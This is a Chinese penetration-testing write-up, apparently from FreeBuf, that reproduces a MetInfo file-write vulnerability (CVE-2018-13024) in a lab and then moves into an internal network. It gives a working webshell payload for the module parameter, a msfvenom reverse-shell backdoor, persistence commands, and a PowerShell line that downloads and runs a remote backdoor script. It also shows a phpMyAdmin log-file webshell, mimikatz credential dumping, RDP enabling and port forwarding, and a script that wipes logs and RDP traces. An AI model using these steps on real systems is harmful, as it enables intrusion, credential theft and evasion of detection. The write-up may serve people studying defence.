當前位置:
首頁 > 新聞 > CVE-2018-13024復現及一次簡單的內網滲透

CVE-2018-13024復現及一次簡單的內網滲透

0x00 環境搭建



攻擊機:kali linux及Windows10(本機)


邊緣機:Windows 2003 


公網IP:192.168.61.140 

內網IP:192.168.129.139


靶機:Windows 2008 內網IP192.168.129.130



0x01 引言


漏洞概述


MetInfo是中國米拓信息技術有限公司的一套使用PHP和Mysql開發的內容管理系統(CMS)。Metinfo 6.0.0版本中存在安全漏洞。遠程攻擊者可通過向admin/column/save.php文件發送『module』參數利用該漏洞向.php文件寫入代碼並執行該代碼。


影響版本


MetInfo 5.3.16MetInfo 6.0.0


漏洞分析


漏洞發生在metinfo6.0.0admincolumnsave.php的column_copyconfig函數。跟進column_copyconfig跟進Copyindx()

/*複製首頁*/
function Copyindx($newindx,$type){
   if(!file_exists($newindx)){
       $oldcont ="<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$filpy = basename(dirname(__FILE__));
$fmodule=$type;
require_once "../include/module.php";
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>";

       $fp = fopen($newindx,w);
       fputs($fp, $oldcont);
       fclose($fp);
   }
}

可以看到這裡將$type變數直接寫入了文件中,而$type變數一直可以追溯到column_copyconfig的$module變數而metinfo一個經典的偽全局變數覆蓋,在metinfo6.0.0adminincludecommon.inc.php中。

foreach(array("_COOKIE", "_POST", "_GET") as $_request) {
   foreach($$_request as $_key => $_value) {
       $_key{0} != "_" && $$_key = daddslashes($_value,0,0,1);
       $_M["form"][$_key]=daddslashes($_value,0,0,1);
   }
}

這樣我們可以通過傳入get參數,覆蓋$module變數,導致任意文件寫入。


0x02 邊緣機滲透


信息收集


訪問網站:進行whoami,後台掃描,目錄掃描,埠掃描等常見信息收集,通過HTTP報文響應頭部可初步判斷網站技術架構。發現網站為metinfo5.3.19: 


獲取webshell


查找漏洞


Metinfo6.0.0之前版本存在後台getshell漏洞,登入後台即可使用payload getshell。


爆破後台


掃出後台目錄為/admin弱口令爆破admin,admin登入後台。


getshell

Payload:admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST["a"]);/*

菜刀連接


Shell在upload目錄下的index.php,使用蟻劍連接。看一下許可權administrator,不用提權了。


使用msf進行後滲透


msf生成後門msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.3 -f exe>twosmile.exe傳到目標機:然後用虛擬終端運行:在kali上可以看到shell反彈回來:查看進程:使用migrate遷移進程: 


域信息收集

使用域下常見信息收集命令進行信息收集如getuid,systeminfo,ipconfigall,net user,net view等等。發現兩張網卡兩個IP,確定有內網無誤,使用msf進行getsystem:其他msf信息收集命令:

run post/windows/gather/checkvm  #是否虛擬機

run post/linux/gather/checkvm  #是否虛擬機

run post/windows/gather/forensics/enum_drives  #查看分區

run post/windows/gather/enum_applications  #獲取安裝軟體信息

run post/windows/gather/dumplinks  #獲取最近的文件操作

run post/windows/gather/enum_ie  #獲取IE緩存

run post/windows/gather/enum_chrome  #獲取Chrome緩存

run post/windows/gather/enum_patches  #補丁信息

run post/windows/gather/enum_domain  #查找域控

獲取密碼


使用msf:

load mimikatz
kerberos

失敗,嘗試hashdump:破解hash:


許可權維持


通過Meterpretershell獲取持久性shell的方法有兩種,這裡我使用的是第一種。


Persistence模塊


運行run persistence -U -i 10 -p 4444 -r 192.168.61.3



-U:設置後門在用戶登錄後自啟動。該方式會在HKCUSoftwareMicrosoftWindowsCurrentVersionRun下添加註冊表信息。

-i:設置反向連接間隔時間,單位為秒;


-p:設置反向連接的埠號;


-r:設置反向連接的ip地址。


這樣重啟後任然會有shell反彈。


Metsvc模塊


這個模塊是直接開啟服務 監聽31337埠利用handler下的windows/metsvc_bind_tcp模塊,重新獲得shell。


powershell許可權維持

powershell腳本:https://github.com/re4lity/Schtasks-Backdoor 使用方法見Readme文件。

powershell.exe-exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString("http://192.168.61.140/Invoke-taskBackdoor.ps1");Invoke-Tasksbackdoor-method nccat -ip 192.168.61.3 -port 53 -time 2"

192.168.61.140 本地伺服器。


192.168.61.3 nc主機。


開啟3389

REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

中文會亂碼:輸入之前抓到的用戶名密碼:登入遠程桌面後也可以收集一波信息:域控IP:


其他常用命令:



ipconfig /all 查看本機IP,所在域


net user /domain 查詢域用戶


net group /domain —— 查詢域裡面的工作組


net group 「domain admins」 /domain —— 查詢域管理員用戶組

ping D1.com 查看域控的IPnltest /dclist:d1 查看域控名字


net time /domain 查看時間,域控機器名


net view 顯示域中的計算機名列表


net view /domain:D1 顯示指定域中機器名


net user /domain 查看當前域中的用戶


net group 「domain admins」 /domain 查詢域管理員用戶組


net config workstation 顯示更改可配置工作站參數,也可以獲得登錄域,機器名等信息


net accounts查看本地密碼策略


netstat –an/ano/anb網路連接查詢


route print路由表

dsquery,可以用來收集跨域的信息,但是跨域執行的前提是必須建立信任關係


這些命令也可以直接在msf中輸入shell命令執行。


0x03 內網滲透


查看arp緩存


arp:



route:


添加路由



埠掃描



445埠看一下是否能用ms17010:


不能打,用邊緣機遠程桌面看看80埠有什麼服務。


webshell


有apache phpmyadmin記下絕對路徑C:/phpStudy/PHPTutorial/WWW


嘗試弱口令登入phpmyadmin然後日誌寫shell:

show variables like "%general%";
set global general_log = on;
set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/shell.php";
select "<?php eval($_POST["a"]);?>"

報錯無所謂 已經存進日誌了,然後傳個菜刀到邊緣機,用邊緣機連一下:


開3389


傳個腳本上去抓hash:mimikatz也可以:

privilege::debug

sekurlsa::logonPasswords


埠轉發


上傳htran:htran -p -tran 8888 192.168.129.130 3389將域控3389轉發到邊緣機8888再連邊緣機ip(192.168.61.140:8888)遠程桌面:連接成功。


痕迹清除


簡單清除一下,動靜還是比較大的;


msf中clearev:3389痕迹清除腳本:

echo off
color 0A
title 3389連接痕迹清除
mode con cols=88 lines=20
set /p fk= 確定要清空3389連接痕迹嗎?(y/n)
if /i "%fk%"=="y" goto y
if /i "%fk%"=="n" goto n
call %0

:y
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server Client" /f
del /a /f /q %HOMEPATH%DocumentsDefault.rdp
echo 命令執行成功,請手動查看是否清除。
pause >nul

:n
exit

然後再刪掉你上傳的所有文件,收工。


0x04 參考文章


[1] Metinfo 6.0.0 眾多漏洞分析 https://www.anquanke.com/post/id/154149


[2] phpmyadmin getshell姿勢http://www.twosmi1e.com/2018/10/11/phpmyadmin-getshell%E5%A7%BF%E5%8A%BF/


[3] 後滲透階段的許可權維持(Windows篇)https://www.freebuf.com/articles/web/180581.html


*本文原創作者:twosmi1e,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

Tcpreplay:用於*NIX和Windows的Pcap編輯和重放的工具
看我如何反覆獲取到HackerOne的漏洞測試邀請

TAG:FreeBuf |